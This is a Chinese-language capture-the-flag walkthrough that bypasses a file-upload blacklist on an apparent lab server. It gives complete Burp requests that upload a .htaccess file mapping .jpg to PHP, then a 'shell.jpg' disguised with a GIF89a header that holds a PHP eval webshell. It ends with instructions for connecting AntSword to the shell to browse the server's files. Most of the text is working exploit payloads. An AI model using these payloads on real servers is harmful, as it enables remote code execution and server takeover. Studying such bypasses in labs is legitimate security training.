一、前置环境准备
工具准备:
Burp Suite(抓包 / 改包)
蚁剑(连接一句话木马)
靶场环境:http://180.76.235.121:33623
核心原理:
服务器黑名单拦截了 .php/.asp/.jsp 等脚本后缀,直接上传会被拒绝。
利用 Apache 的 .htaccess 配置文件,强制让服务器把 .jpg 图片文件解析成 PHP 执行,从而绕过黑名单,上传一句话木马拿到 Webshell。
二、步骤 1:用 Burp 抓包-先看上传限制
打开 Burp Suite-内嵌浏览器
该文件的限制是不允许文件上传,那就上传配置文件
你只需要上传内容为下面这段的文件,文件名就叫 .htaccess
apache
AI写代码
逐句解释:
AddType:添加文件解析类型
application/x-httpd-php:PHP 解析器
.jpg:只要是 .jpg 后缀的文件,全部用 PHP 执行
三、步骤 2:上传 .htaccess 配置文件后(修改解析规则)
1. 修改请求包内容
在 Burp 的 Repeater 中,把请求体改成以下内容(核心是让 Apache 把.jpg解析为 PHP):
http
POST /upload.php HTTP/1.1
Host: 180.76.235.121:33623
Content-Length: 341
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://180.76.235.121:33623
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUy7AEfKbqBi39NaT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://180.76.235.121:33623/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryUy7AEfKbqBi39NaT
Content-Disposition: form-data; name="upload_file"; filename=".htaccess"
Content-Type: application/octet-stream
AddType application/x-httpd-php .jpg
------WebKitFormBoundaryUy7AEfKbqBi39NaT
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryUy7AEfKbqBi39NaT--
AI写代码
2. 发送请求并验证
点击「发送」,响应返回 upload success: upload/.htaccess 即上传成功。
此时服务器已被配置为:所有 .jpg 后缀的文件,都会被当成 PHP 脚本执行。
四、步骤 3:上传图片一句话木马(.jpg 后缀)
1. 修改请求包内容
继续在 Burp 的 Repeater 中,把请求体改成以下内容(伪装成图片的一句话木马):
POST /upload.php HTTP/1.1
Host: 180.76.235.121:33623
Content-Length: 327
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://180.76.235.121:33623
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUy7AEfKbqBi39NaT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://180.76.235.121:33623/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
------WebKitFormBoundaryUy7AEfKbqBi39NaT
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST['shell']); ?>
------WebKitFormBoundaryUy7AEfKbqBi39NaT
Content-Disposition: form-data; name="submit"
upload
------WebKitFormBoundaryUy7AEfKbqBi39NaT--
AI写代码
2. 关键说明
GIF89a:图片文件头,绕过服务器的文件头检测,避免被当成恶意文件拦截。
<?php @eval($_POST['shell']); ?>:标准 PHP 一句话木马,密码为 shell。
filename="shell.jpg":后缀为 .jpg,不在黑名单中,可正常上传。
3. 发送请求并验证
点击「发送」,响应返回 upload success: upload/shell.jpg 即上传成功。
此时服务器会根据 .htaccess 规则,将 shell.jpg 解析为 PHP 脚本执行。
五、步骤 4:用蚁剑连接 Webshell,获取 Flag
打开蚁剑,点击「添加数据」,填写以下配置:
地址:http://180.76.235.121:33623/upload/shell.jpg
密码:shell(与一句话木马中的参数一致)
脚本类型:PHP(Eval)
点击「添加」,然后双击刚添加的连接,即可进入服务器文件系统。